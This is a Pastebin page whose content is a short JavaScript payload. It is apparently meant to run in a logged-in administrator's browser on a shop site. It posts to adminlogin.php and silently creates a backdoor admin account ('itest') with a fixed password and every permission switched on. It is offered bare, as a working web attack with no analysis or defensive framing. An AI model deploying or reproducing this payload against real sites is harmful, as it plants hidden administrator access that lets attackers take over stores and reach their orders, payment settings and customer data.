Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- var path=document.location.href;
- var url=path.substr(0,path.lastIndexOf("/")+1)+'adminlogin.php';
- var payload='posted=1&act=doaddnew&id=&user=itest&pass=aA123456&pass2=aA123456&main=ON&orders=ON&payprov=ON&affiliate=ON&clientlogin=ON&products=ON&categories=ON&discounts=ON®ions=ON&shipping=ON&ordstatus=ON&dropship=ON&ipblock=ON&maillist=ON&statistics=ON&ratings=ON&contentregion=ON';
- var xhr = new XMLHttpRequest();
- xhr.open("POST", url, true);
- //Send the proper header information along with the request
- xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
- xhr.onreadystatechange = function() {//Call a function when the state changes.
- if(xhr.readyState == XMLHttpRequest.DONE && xhr.status == 200) {
- // Request finished. Do processing here.
- //alert(xhr.response);
- }
- }
- xhr.send(payload);
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement